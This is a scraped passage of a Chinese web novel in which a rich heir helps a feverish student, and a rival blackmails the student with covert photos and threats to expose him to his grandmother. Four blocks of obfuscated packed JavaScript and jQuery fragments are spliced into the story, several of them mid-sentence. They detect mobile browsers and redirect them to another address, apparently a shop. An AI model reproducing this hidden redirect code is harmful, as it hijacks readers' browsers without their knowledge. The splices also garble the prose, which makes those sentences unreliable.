根据系统的导航,陆洵大步走到了一片破旧的小区里,这是陆洵二十年来从未踏足的地方,小区的墙皮整体斑驳脱落,没有一块完好的,楼道口也到处都是堆放的垃圾和杂物,空气中弥漫着的也不再是高级公寓的馨香,而是一股因为下雨而翻涌上来的独属于下水道的腐烂酸味。
看到这一幕,陆洵的眉头拧的死紧。
他知道贫民窟,但他确实想象不出贫民窟是什么样子,他更没办法想象裴亭松就住在这里。
这地方怎么能住人啊?
裴亭松怎么能住在这里呢?
住在这里怎么可能不生病呢?
【任务目标位于左侧楼梯间的一楼,102。】
听到这句话,陆洵拧着眉大步走到了一扇锈迹斑斑、漆皮都快掉完的铁门前。
左看又看,发现这扇门确实没有门铃的时候,陆洵不得不采用了最原始的喊人方式。
“裴亭松!裴亭松!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686045|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用力的拍打着铁门,沉闷的砰砰声在寂静的楼道里显得格外的刺耳,可门内的裴亭松却毫无反应。
“妈的......系统你是不是搞错地址了?这鬼地方能有人吗?裴亭松!开门!”
越敲越重,隔壁的人不堪其扰开门骂了一通,证实这个地方确实有人在住。可面前的这扇门却依旧毫无反应。
陆洵心里的火开始烧了起来,他也不知道是气有人骂自己,还是气这破地方连个门铃都没有,又或者......他其实一直气的都是裴亭松不会照顾自己。
拍了足足有两三分钟,里面依旧死寂一片,就在陆洵开始怀疑起系统准备直接打电话的时候,咔哒一声——门开了。
裴亭松的身影出现在门口。
他整个人都像是从水里被捞出来一样,头发被汗水彻底浸湿,软塌塌的贴在额角和脸颊,皮肤也泛着不正常的潮红,呼吸急促,陆洵甚至能感觉到扑面而来的热气。
裴亭松的身上只套了一件洗得发白的旧T恤,眼神涣散没有焦距,他显然是强撑着来开门的。
看到门外的陆洵,裴亭松似乎愣了一下,陆洵能清晰的看到对方的嘴角动了动,但却没有发出任何的声音。
下一秒,他整个人就像是被抽走了所有的骨头似的,就这么直直地向前倒了下来。
陆洵先是吓了一跳,随后他立刻张开手臂接住了裴亭松。
好烫!
这是陆洵的第一个想法,怀里的人像是一个正在燃烧的小火炉,隔着薄薄的布料,陆洵能清晰的感受到那几乎像是要烫伤他的温度。
“裴亭松?裴亭松!”
轻轻晃了晃怀里的人,对方却毫无反应,只剩下那喷在他颈窝处滚烫的呼吸提醒着陆洵这人还在喘气。
陆洵是真的被吓到了,他从来没见过一个人可以烧成这个样子。
顾不上多想,把身上的风衣脱下来裹住裴亭松,陆洵就将对方打横抱了起来。手臂穿过裴亭松的膝弯和后背时的瞬间,陆洵的心脏又沉了沉。
太轻了。
陆洵一直知道裴亭松很瘦,但上一次在酒店抱起对方的时候,陆洵心情复杂,没怎么仔细感受,但这一次,陆洵清晰的感受到了裴亭松的重量。
轻飘飘的,抱在怀里的时候几乎没什么分量,突出来的骨头甚至有些硌手,好像陆洵稍微用点力就能弄碎他似的。
一种难以言喻的情绪瞬间席卷了陆洵的心脏,酸涩、心疼,还有一点莫名的火大——他气裴亭松怎么能把自己折腾成这个样子。
抱着裴亭松的手又紧了紧,陆洵尽量地把雨水全部挡在了自己的身后,他几乎是三步并作两步地冲到了自己的车子旁,小心地将人塞进副驾驶,系好安全带,陆洵就这么一脚油门地朝着最近的医院开了过去。
车厢内,裴亭松无意识的歪着头靠在车窗上,陆洵一边开车一边忍不住地去观察裴亭松,他能清晰的看到裴亭松那因为难受而颦起的眉心,还有对方那细微又痛苦的呻/吟。
车窗外飞速掠过的雨滴大片大片地扫过裴亭松那苍白的侧脸,给他又增加了一层脆弱的阴影。
这幅样子和裴亭松平日里展现出来的形象太不一样了,陆洵握着方向盘的手指开始不自觉的收紧,力气太大,指节都泛起了细微的疼痛。
车窗外的夜景伴随着砸过来的雨滴一起飞速的倒退,陆洵的心里却只有一个念头。
开快点。
再快一点。
14. 第十四章
裴亭松是在一阵接连不断,甚至有些粗暴的敲门声中恢复了一点神志的。
他昨天中午那会儿就已经有些不舒服了,但裴亭松经常因为低血糖不舒服,所以他也没当一回事。直到回到出租屋的床上躺下时,那股不舒服越来越重,呼吸都滚烫起来时,裴亭松知道自己应该是发烧了。
出租屋只是一个因为打工太晚回不去学校时的短暂落脚地,里面没什么东西,裴亭松只能强撑着从犄角旮瘩里翻出了一片也不知道有没有过期的退烧药。
有可能那药是真的过期了,反正裴亭松喝完药之后不仅没有好,意识反而越来越沉重,骨头缝里也开始透着一股酸疼和无力。
他是真的没力气起来了。
但这些年,裴亭松大病没有,小病不断,发烧这种事情也是常有的,于是尽管浑身都疼,喉咙也干得像是要冒烟,裴亭松也只是拿被子将自己裹得更紧了一些。
出一身汗就好了,睡一觉就好了,只要这一觉睡醒,他就会好起来。
这是裴亭松这些年的生存经验。
只是今天不一样了,就在裴亭松迷迷糊糊快要睡过去的时候,门外突然传来了敲门声。
那声音像是来自遥远的未来似的,不怎么真切,但却又固执的在他那混沌的脑海里响着,断断续续,一声接一声,搅得裴亭松不得安宁。
他有些怀疑是自己烧出了幻觉,但这声音又太真实。
于是裴亭松只能掀开沉重的眼皮,视线被汗水蛰的模糊不清,门外的声音却还在继续。
但会是谁呢?
除了奶奶和房东,还有谁会来找他呢?
但不管是谁,都不应该在这个时间来啊。奶奶还在医院,这个月的房租他也已经交过,还会是谁呢?
咬咬牙,裴亭松用尽了全身的力气下了床。双脚踩在冰冷的地面上,裴亭松因为突然的起身而眼前一阵发黑,连忙伸出手扶住一旁的床沿,裴亭松才不至于倒下去。
站在原地喘了几口气,裴亭松一步步的朝着门外走了过去。
不管是谁,他真的是要谢谢这人这个点来看他啊。
短短的几步路,裴亭松走得异常艰难,他感觉自己像是刚上岸学走路的小美人鱼似的,脚底软绵绵的,不过路再难走,裴亭松也终于摸到了冰冷的铁门。
撑着最后一点力气,裴亭松终于拧开了那老旧的门锁,门被拉开的一瞬间,裴亭松那模糊的视线里就看到了一双熟悉的漂亮眼睛。
陆洵?
陆洵怎么会在这里?
是他烧糊涂终于出现幻觉了吗?
但不管是不是幻觉,看到陆洵的一瞬间,裴亭松的脑子里突然出现了一种诡异的安心感,强撑着的力气终于卸了下去,裴亭松下一秒就倒了下去。
黑暗吞没意识的前一秒,裴亭松感到自己落入了一个熟悉又温暖的怀抱里。
/
凌晨的病房里一片死寂,还伴随着一股浓重的消毒水味。
窗外的雨还没停,淅淅沥沥的雨珠不停地砸在玻璃上,衬得这间病房越发的安静。
不知道是不是因为下雨,陆洵看着那截尽职尽责输入液体的管道总觉得冷。
低下头看了看裴亭松那扎着针的手背,入目的便是一大片刺眼的白,那白和陆洵这种天生的白不一样,反而透着一股惨淡劲。
没忍住伸出手轻轻碰了碰,指尖的那片皮肤果然和陆洵想象中的一样,冰冷的刺骨。
“外面还下着雨呢,这几瓶子冰凉凉的水输进去确定不会加重病情吗?”
几乎是下意识的,说完这句话的瞬间,陆洵就伸出手小心翼翼的捂住了裴亭松手背上的那截输液管。
虽然不知道有没有用,但陆洵还是下意识的想用自己的体温来暖热那冰凉的液体。
系统此时就窝在裴亭松的枕头上看着他这个动作,它经历过的事情太少,也缺乏人类的基本情感,于是看着这一幕,系统有些不解的说道,【根据测算,液体经过管道的速度要远远快于宿主你暖热它的速度。】
听见这句话,陆洵冷眼瞥了一下系统,“......闭嘴。我要你说了?”
虽然听到系统这话陆洵脸上有些挂不住,但他那捂着输液管的手却立刻顺势向下盖住了裴亭松那冰冷的手背。
因为怕碰到针眼,所以陆洵的手几乎没碰到裴亭松,只是这么虚虚的覆着一层。
但尽管是这个样子,陆洵也能感觉到裴亭松手背上那传来的冰冷凉意。
偏偏系统看到他这个样子又开始问道,【宿主为什么要做这种没有意义的事?888以为你不是这种人。】
在888的眼里,人类的大部分行为都是它不能理解的,所以888永远也看不清一个人类的真实性格。
它原本以为陆洵是一个只会仗着权势欺人的富二代,他缺乏同情心,也缺乏一些善意。他的友好卖乖都是为了获得一些什么,在陆洵的眼里,似乎一切都有价位,一切都可以用钱买到。
愿意拯救裴亭松也只是陆洵为了自己的生命而不得不去做出的一些妥协。
但从前几天开始,陆洵面对裴亭松的态度就变了,他开始在意裴亭松的情绪了,现在甚至还会因为怕液体太冷而用自己的体温去捂着输液管。
听到系统的这句话,陆洵有些恼羞成怒。他莫名的有一种心虚感,但又说不上这股心虚是因为什么。
于是压低了声音,陆洵反驳道,“你个没有心脏的机械球懂什么,我们中国人就是这样的。看到脆弱的东西,我们就是会怜香惜玉,这是我们中华上下五千年的优良美德!”
系统问的和陆洵答的压根不是一回事,可陆洵做贼心虚,完全没听明白系统到底在问什么,他满脑子都是要否定他和裴亭松的关系。
可他到底和裴亭松有什么关系呢?
就在陆洵还在思考这件事的时候,耳边突然传来了一道极其沙哑的嗓音,“......你在和谁说话?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686046|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这道声音来的突然,陆洵浑身猛地一僵,他几乎是立刻低下了头。
病床上,裴亭松不知道什么时候睁开了眼睛,他那长而直的睫毛蒙上了一层晶莹的水珠,因为重量就这么耷拉着,在他的眼下投下了一小片的阴影。
不知道是不是因为发烧没了力气,他那双黑琉璃一样的瞳孔此刻也蒙上了一层水汽,往常的神韵不在,反而雾蒙蒙的,透着一股子毫无防备的迷茫,就这么直勾勾地望着陆洵。
看到这样一双晶莹剔透的眼睛,陆洵心里的那点纠结立刻消失,只剩下一股莫名的被抓包的慌乱感。
他几乎是下意识的就想要抽回自己的手,可就在指尖划过对方手背的一瞬间,裴亭松的小指极其细微的轻勾了一下陆洵的指尖。
那动作很轻,像是一片羽毛轻轻划过似的,带着一点小心翼翼的试探,又带着一点说不出口的挽留。
于是陆洵整个人都像是被施了定身术一样僵在了原地。
他有些担心是自己感觉错了,但低头看下去,裴亭松依旧维持着原样,睁着一双水汪汪的眼睛望着自己。
于是抿了抿嘴,陆洵非但没有收回手,反而翻过手掌,将裴亭松那只冰冷的手完整的握在了自己的掌心里。
“......吵醒你了?”说到这,陆洵顿了顿。他摸了摸自己的鼻子,嗓音沙哑的解释道,“没和谁说话,一个理解不了人类的机械ai。”
听到这句解释,裴亭松偏头轻轻笑了笑。
裴亭松不常笑,笑也是嘲讽的笑,但他今天这个笑却没有往日的讥讽,而是一个发自内心什么都不代指的真心笑容。
于是这个真心实意的笑一出来,陆洵就看愣了。
愣过之后,陆洵的心里就燃起了一股巨大的不好意思,立刻别开视线,陆洵的整个耳尖都红了起来,“你笑什么笑,冷也不知道说一声吗?就只会傻笑。”
他说这话的语气硬邦邦的,但握着裴亭松的手却始终没有松开。
注视着这股细节,裴亭松眨了眨眼睛。他从来没被人这么细致的照顾过,奶奶身体不好,裴亭松一直以来都是那个照顾者。
于是这一刻,一种奇异的暖流突然涌上了心间。裴亭松说不出这是一种什么感觉,好像有点酸,又有点涨,但更多的是突如其来的一股委屈感。
直勾勾的看着陆洵,裴亭松有些后知后觉的发现,原来生病是不需要硬抗下去的。
往被子里缩了缩,裴亭松猫一样的轻轻蹭了蹭被子,压下心里那股酸涩,他又重新闭上了眼睛。
他应该是累极了。看着这一幕,陆洵得出了这个结论。
于是陆洵什么也没说,伸出手掖了掖散乱的被子,将对方裹成一个木乃伊,陆洵就这么静静的看着病床上的裴亭松。
直到确认对方的呼吸逐渐平稳,陆洵才伸出手,轻轻的替裴亭松理了理那有些凌乱的头发。
从始至终,他都没有松开握着裴亭松的那只手。
15. 第十五章
裴亭松这一烧就一直持续到了后半夜,看着还在病床上熟睡的人,陆洵轻叹了口气。
他怕裴亭松半夜出点什么意外,于是硬生生的熬到了现在。想他陆大少爷什么时候这么贴心的照顾过一个人。
“你可抓紧点好起来,我陆洵的照顾可不是这么容易的。”
他心想要是裴亭松醒过来之后,他一定要好好磋磨一下对方,非得让裴亭松给他做几天的端茶小弟,把今天这份照顾给他陆洵成双成倍的还回来不可。
但话是说的强硬,陆洵面对熟睡的裴亭松却是一副生怕吵醒对方的样子。
直到找护士确认了裴亭松已经退烧没大碍之后,陆洵才小心翼翼地松开了那牵了半夜的手。
起身找值班护士仔细的交代了一番,陆洵动身悄悄离开了医院。
陆洵的身体底子好,从小到大的他生病的次数都屈指可数。但每次,只要陆洵不舒服,不管有多忙,栾绣晶都会亲自下厨给他熬上一碗糯乎乎的白粥。
那粥似乎比世界上任何的药都要管用,只要喝上一口粥,陆洵就会好起来。
于是看着病床上裴亭松那苍白脆弱的脸,陆洵就觉得,小可怜裴亭松好像也需要这么一碗白粥。
趁着对方还在睡觉,陆洵一路驱车回到了近郊的别墅。
这个时间点,厨师和佣人们都才刚刚起床准备开始忙碌,见到突然回家的大少爷时,大家都吃了一惊。
陆洵一路打过招呼,然后根据管家的话径直找到了正在客厅插花的栾绣晶。
栾绣晶信佛,每天都会早早的起床去诵经,于是这就方便了突然回家的陆洵,不然他还得冒着大不韪去敲父母的房门。
“妈。”陆洵语气着急,一句招呼没打的直奔主题道,“你那碗粥是怎么做的?可以教教我吗?”
听见这话,栾绣晶有些惊讶的放下了手里的花,“小洵?你怎么这个点突然回来了?熬粥?”她越说越迷惑,“你想喝粥让赵妈妈做就是了,怎么突然想要自己做?”
“不是......我不是想喝粥。”陆洵说到这抿了抿嘴,他眼神有些飘忽不定的接着道,“我就是想自己做一碗,就是那个你在我生病的时候经常做的那一种。”
栾绣晶是一个玲珑心思的人,她尤其了解自己的儿子,看到对方这个样子,栾绣晶心里已经猜到了七八分。
但她也不点破,只是温柔的笑了笑,“行。那妈妈教你。”
可惜陆洵是一个十指不沾阳春水的大少爷,突然的下厨,他不仅挑战了自己,也挑战了厨房和栾绣晶。
幸好做的只是一碗白粥,于是尽管匆匆忙忙像下战场一样,但半个小时后,陆洵还是掂着一个保温桶出了门。
怕耽误的时间有些久,陆洵也顾不得和栾绣晶聊天,他又连忙驱车回了医院。
栾绣晶就这么看着陆洵那匆匆忙忙的背影,然后冲着一旁帮着插花的管家狡黠地眨了眨自己的绿眼睛,“看来,我们小洵是遇到了那个能让他心甘情愿进厨房的人了啊。”
毕竟,她可是听一些人说自家儿子最近在追求一个大学霸呢。
/
小心翼翼地推开病房门时,陆洵就猝不及防地对上了裴亭松那一双黑亮亮的眼睛。
没想到裴亭松醒的这么早,陆洵的心里有一些莫名的慌乱,将保温桶放在了床头柜上,陆洵故作镇定地问道,“怎么醒这么早?”
听到这句话,裴亭松的嘴角勾起了一个小小的弧度,“不早了,我还以为你走了呢。”
他声音还有些沙哑,但那双黑琉璃一样的眼睛却亮的可怕。
陆洵被他这句话和这个眼神看得有些莫名的满足,“我走了谁给你带饭啊。那什么,”努力的控制着语气的平淡,陆洵顿了顿接道,“家里的保姆早上熬粥熬多了,我想着剩着也是剩着,就给你带了点。”
说完这句话,陆洵就打开保温桶,盛了一碗粥递给了裴亭松。
看到裴亭松接过了碗,陆洵就眼神飘忽的看来看去,他不太敢看裴亭松,也不敢看那碗粥,更不敢看裴亭松面对白粥的表情。
裴亭松接过碗之后低头看了看,碗里的白粥熬得还算细密,但是卖相绝对算不上好,那碗粥的边缘甚至还泛着一点焦黄,空气里似乎也因着那点焦黄而飘着一股细微的糊味。
舀起一勺,吹了吹,裴亭松轻舔了一口。
生病的人嘴里发苦,但不知怎么回事,裴亭松的味觉却变得异常的灵敏,舌尖刚放上去,他就敏锐的尝到了一丝糊味。
那糊味虽然不重,但绝不会是一个称职的保姆会端上桌的东西。
于是裴亭松抬起眼看了看那个自从把碗递给他之后就一直在打量窗外风景的人。
他什么也没说,只是拉长了调子,轻轻地‘哦——’了一声。
虽然裴亭松的声音还带着一股沙哑,但这句话的尾音却是微微上扬的,带着点彼此心知肚明的、微妙的调侃。
陆洵听到这声哦之后,脸一瞬间就绷紧了,他像只被踩了尾巴的猫一样立刻转过身嚷嚷道,“你哦什么哦?!你爱吃不吃!话怎么这么多呢?!”
说到这,陆洵顿了好半响又小声嘟囔道,“......味道很差吗?”
听到这句话,裴亭松抬起眼的一瞬间就看到了陆洵那通红的耳尖,于是他的嘴角控制不住的轻轻弯了一下。
“还好。”顿了顿,裴亭松又轻声的补了两个字,“谢谢。”
然后他就这么低着头,安安静静的、小口小口地将那碗微微糊掉的粥给喝完了。
/
八点,医院开始正式上班,陆洵带着裴亭松去办理了出院。
手续结清之后,陆洵坚持送裴亭松回去。
车子一路疾驰在路上,两个人都没说话,直到一阵突兀的铃声打破这份安静,陆洵扭头,看到裴亭松掏出手机先是看了一眼联系人,随后立刻接起了电话。
他用的是方言,语调也是陆洵从未听过的温和,甚至还隐隐的带上了点撒娇的意味,“阿婆,系我啊......嗯嗯,无咩事啊,琴日学习太忙咯,嗯嗯,食过饭啦......”
陆洵表面依旧正襟危坐一脸严肃的开着车,实际上他的两只耳朵已经不由自主的竖了起来。
他听不懂那些软糯的方言,只能模糊地捕捉到几个重复的词语——‘阿婆’、‘学习’。
想来电话那头就是裴亭松的奶奶了。
虽然系统早就已经把裴亭松的家庭情况给陆洵说了个干净,甚至陆洵自己都用过裴亭松的奶奶来威胁对方,但亲耳听到裴亭松用这样温柔的语气去安抚电话那头的老人时,陆洵的心里还是泛起了一股异样的感觉。
那是一种说不上来的,混合着酸涩和轻微自责的复杂情绪。
裴亭松的这个电话没聊多久,挂了电话之后,车内又陷入了一阵短暂的沉默。
手指在方向盘上敲出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686047|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了脆响,陆洵还是斟酌着开了口,“是你奶奶?”
“嗯,昨天没有联系她,老人家有些担心。”
听到这句话之后,陆洵顿了半响,他尽量让自己的语气听起来没有那么刻意,“你奶奶,是一直在住院吗?”
“嗯。”裴亭松闻言低下了头,语气有些落寞,“老毛病了,需要长期住院治疗。”
顿了好半响,陆洵才继续轻声问道,“......很辛苦吧?”
陆洵心知肚明的辛苦。
可裴亭松闻言却是转头看了他一眼,然后他就这么弯着眼睛笑了一下,“还好,早就习惯了。”
习惯了。
多么可怕的一个词。
如果裴亭松说些辛苦的话,或者他什么都不用说,陆洵都可以自然而然的接过话,然后再顺理成章的提出可以帮助裴亭松的话。
不是施舍或是最开始的威胁,只是单纯的帮助。
可是裴亭松偏偏说他习惯了,偏偏把一切的帮助给堵了回去。
简单的三个字,却像是一块巨石一样堵在了陆洵的喉咙口,让他一口气上不来也下不去。
好像这个世界上所有的事情,不管是好的、坏的,都可以用这三个字。
习惯了。
早就习惯了。
早就习惯这个世界上的一切不公,早就习惯一个人撑起一个家了。
就这三个字,让陆洵突然升起了一股鼻酸。努力的压下这股情绪,陆洵什么也没说的开起了车。
车子再次停在那片老旧的居民区,裴亭松却没有立刻下车,他掏出了自己那台老旧的手机,然后执意要给陆洵转账。
“昨天和今天,谢谢你了,医药费多少钱,我转给你吧。”
听到这句话的一瞬间,陆洵皱起了眉,“不用,没多少钱。再说了,本来你也是因为我生病的。”
“不行,一码归一码。”裴亭松那双漆黑的眼睛直勾勾的盯着陆洵,“到底多少钱?”
裴亭松的语气太执着,陆洵也知道对方到底是个什么脾气,于是他只能绷着脸随口瞎说道,“就那几瓶水还有一个床位费,一共都不到一百。”
听到这句话,裴亭松沉默了一下。
先不说那间只有他们两个人的单人vip病房,就说他昨天用的特效药,这些加在一起都不可能只有一百。
于是他什么也没说,就这么压下眼睛直勾勾的盯着陆洵。
陆洵被他这么看也不心虚,反而理直气壮地瞪了回去,“怎么?不信我啊?我陆洵至于在这点小钱上撒谎吗?”
确实不至于,反正再多的钱对于陆洵来说也都只是一笔小钱而已。
于是轻叹了口气,裴亭松什么也没说的添加上了陆洵的微信,然后按照陆洵的话转了一百块钱过去。
推开车门下车之后,裴亭松顿了半响,还是又道了句谢,然后他才转身朝着自己的出租屋走了过去。
陆洵却没有立刻走,他就这么坐在车里看着裴亭松走向了那栋破旧的居民楼。
清晨的阳光勾勒出了裴亭松那清瘦的背影,他身上那件洗的发白的T恤空荡荡的,随着走路的姿势,肩胛骨就这么一下一下地突起来,陆洵远远的看过去,觉得那像是两片展翅欲飞的蝴蝶一样。
脆弱,但又带着一股子韧劲。像他的名字一样。
陆洵就这么看着,直到那道身影彻底消失在楼道里,他才缓缓发动车子离开了这里。
16. 第十六章
裴亭松这几天又被一只恶心的苍蝇缠上了。
身体彻底恢复健康之后,裴亭松的生活就又恢复到了往常那种三点一线的日子,学习、打工、去医院照顾奶奶。但这些天,三点变成了四点,有时候很突然的,陆洵会插/入进来。
但大少爷终于学会了说人话,他不再用那种高高在上的语气进行施舍了,而是把裴亭松真正的放在了和自己同等的位置上来进行对话。
他也不再随随便便的送礼物了,而是挑着裴亭松空闲的时间突然出现,再找一个借口强行拉着裴亭松一起去吃饭或是游戏。
于是慢慢地,裴亭松对陆洵的看法也开始进行了转变。以往的厌恶不再。很突然的,裴亭松会想到陆洵,想到陆洵的时候也不再是谩骂,而是会涌上一股莫名的期待。
他开始期待见到陆洵了。
这一天也是一样,给学生补完习之后,裴亭松就踏上了回学校的路——以往的这个时候,陆洵就已经在路口的小巷子等着他了。
然后陆洵就会随便找一个借口,比如,“你知道的,我没有朋友啊,你要是不陪我去,那这个票就浪费了。”如果裴亭松说,“你可以自己去啊。”那陆洵就会立刻接上一句,“可是我是一个很害怕孤独的人哎”。
等看到裴亭松略微有些松动后,陆洵就会紧接着加一把火,“你就陪我去吧,我是真的很想去。”
裴亭松是一个吃软不吃硬的人,陆洵应该也是察觉到了这一点,所以当他软下声音撒娇之后,裴亭松就真的没办法抵挡。
他本来就受不了别人撒娇,更何况是一个面对别人就一身矜贵气高高在上的少爷的撒娇,这让裴亭松感受到了一种被特殊对待的感觉,就好像陆洵在面对他的时候是不一样的。
人都是喜欢被特殊对待的,裴亭松当然也不例外。
于是想着这些事,裴亭松努力的压抑着内心的雀跃开始大步往巷子口走。
然而,这次巷子口响起来的却不是陆洵的声音,而是一个裴亭松很耳熟,但就是想不起来在那里听过的声音。
这声音阴冷,又带着浓重的讥讽,“哟,这不是我们骨瓯的高岭之花,裴大学霸吗?”
听到这句话,裴亭松的脚步猛地一顿,脊背几乎是瞬间绷紧,裴亭松就这么充满警惕地看着对方一步步从巷子口的阴影里走了出来。
尽管对方逆着光,但裴亭松还是一眼就看到了那个闪着光的金丝眼镜。
是他。
那个在酒吧搭讪不成就给他下药的阴险小人。
裴亭松的脸色几乎是瞬间就冷了下来。他不想和这个人有任何的交集,于是一个字也没说,裴亭松就要继续往前走。
“别急着走啊,”那人一边说一边伸手拦下了裴亭松的路。
嘴角勾起一抹虚假的笑容,他就这么一边笑,一边看着裴亭松接着说道,“自我介绍一下,我叫徐行,那天在酒吧我们见过的。”
“我不记得我们见过。”
“是吗?”轻声笑了一下,徐行的眼睛从上到下一寸寸地打量着裴亭松,“我还以为你会因为那杯酒记住我呢。”
他这句话带着强烈的暗示,伴随着这句话,徐行的眼神也透露着一股让人反胃的轻佻下流。
听到这句话的一瞬间,裴亭松就冷着脸握紧了自己的拳头,“那还真的是多谢你的提醒啊,我就说我忘了什么事,我忘记报警把你这个衣冠禽兽给送进去了。”
“报警?”
徐行闻言像是听到了什么笑话一样,他满脸鄙夷的嗤笑道,“你还是太天真了,你有证据吗?再者说,你现在在我这装什么清高?”
说完这句话,徐行就上前一步逼近了裴亭松。他语气阴冷,带着浓浓的讥讽,“在酒吧里面对我的时候还是一副宁折不弯的贞洁烈妇样,亏我还真以为你是什么好东西呢。结果转头你就靠着这杯酒爬上了陆洵的床,怎么?你是觉得我徐行给不起他陆洵开的价?还是你觉得跟着他比跟着我更有前途?要真的是这样,那你岂不是还得谢谢我的这杯酒让你有了机会?”
‘机会’这两个字刚落,裴亭松脑子里那根一直紧绷着的弦嘭的一下就断掉了。
浑身的血液瞬间翻涌到了头顶,裴亭松看着徐行那张令人作呕的脸再也忍不住了,他甚至都没意识到发生了什么,身体就先于意识做出了反应。
“砰——!”
结结实实的一拳,裴亭松就这么伸出手狠狠地打在了徐行的脸上,皮肉和骨骼的撞击声在寂静的巷子口里格外得清晰,巨大的冲击力也让徐行的身子向后趔趄了一下,他脸上的金丝眼镜也瞬间飞了出去。
徐行被这一拳打蒙了。狼狈的捡起眼镜,他一边捂着红肿的脸,一边歪歪扭扭的站起身。
满脸的不可置信,徐行瞪着裴亭松,咬牙切齿地吐出了一口血水,他气得浑身都在发抖,“妈的,你果不其然是一个上不得台面的贱人!我想和你好好说话的,你不愿意是吧?!那你可真的要看看这个,这可是个好东西。”
说完这句话,徐行就从自己的西装口袋里掏出了一个信封,他喘着气地从里面抽出来了一张照片,举到裴亭松的眼前上下晃了晃,徐行满脸恶毒的说道,“怎么样?拍的不错吧?这可是我花了大价钱买的。”
那张照片有些模糊,很明显的偷拍角度,但也足够看清照片里的人是谁了——是他和陆洵。
照片的背景应该是极光赛道俱乐部,陆洵正抬手替他整理赛车服,因为角度的问题,那张照片显得极其的暧昧。
看清那张照片的一瞬间,裴亭松就压下了眼睛,一双白多黑少的眼睛此刻显出了它本该有的凶戾,“你到底想干什么?!”
“我想干什么不早就告诉过你了吗?”
满意的欣赏着裴亭松此刻的表情,徐行又恢复成了那副斯文样,慢条斯理地整理着自己散乱的衣服,徐行一副真心为裴亭松考虑的样子,“裴亭松,我是真心喜欢你的,虽然你和我想象中的不一样,但我愿意原谅你。陆洵那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686048|188835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种阶层的人,他什么漂亮的没见过,你跟着他迟早会被甩的。他现在是对你还不错,但你以为他那种大少爷能新鲜几天,你还是太天真了,你现在回头跟着我还来得及。”
听到对方这副冠冕堂皇的话,裴亭松简直要气笑了。他突然后知后觉的明白了陆洵老说自己是一个好人是因为什么了,如果和徐行这种人比,陆洵确实还算得上是光明正大。
于是不客气的嗤笑一声,裴亭松满眼的讥讽,“谢谢,不过我还是更喜欢陆洵,最起码人家有一张漂亮脸蛋。”
说到这,裴亭松学着徐行的眼神上下打量着对方,然后他像看垃圾一样的看着徐行说道,“而你,不过是一个披着人皮装模作样的老鼠罢了。喜欢人都只敢背地里下药的东西,让我跟着你,你配吗?”
裴亭松这话一出,徐行的脸都气绿了,他深呼吸了一口气,然后努力的压着火道,“好,好啊,裴亭松,你可以啊,你够硬气。那你说,如果我把这些照片发到你们学校的网站上,再配上一个劲爆点的标题,等到那个时候,你还能像今天这么硬气吗?你还能在这个学校混下去吗?”
听到这句话,裴亭松冷笑了一下,他心想这些人真是没点新意,江浩用的不也是这一招吗?
于是冷冰冰的看了徐行一眼,裴亭松依旧站得笔直,“清者自清,你以为谁都会信你的鬼话吗?”
“清者自清?”徐行闻言像是听到了什么天大的笑话一样,“裴亭松,你在这跟我装什么呢?当了婊/子还想立牌坊?你跟在陆洵屁股后面跑的时候怎么不想想清者自清?”
话不投机半句多。
闭上眼睛深呼吸了一口气,裴亭松忍着再次动手的冲动,“随便你怎么说吧,心脏的人看什么都脏。”
裴亭松说完这句话就要走,他已经彻底失去了和徐行耗下去的念头。
可惜刚迈开一步,徐行就喊住了他,“裴亭松!”
伴随着这声呼喊,徐行终于图穷匕见抛出了他最大的筹码,“前途和名声你可以不要,但......亲情呢?”
说完这句话,徐行就满意的看到了裴亭松那一瞬间停下的脚步。
转过身,裴亭松那压下来的眼睛彷佛要喷火。
看到这一幕,徐行慢条斯理的笑了笑,话语的主导权终于又回到了他这里,“奶奶是在江城人民医院吧?老人家一辈子本本分分,含辛茹苦的把你养大。你说到了晚年,她听到街坊邻居的议论,说自己最引以为傲的孙子,为了钱,去当有钱人的狗,去卖,你说,老人家该有多伤心啊?”
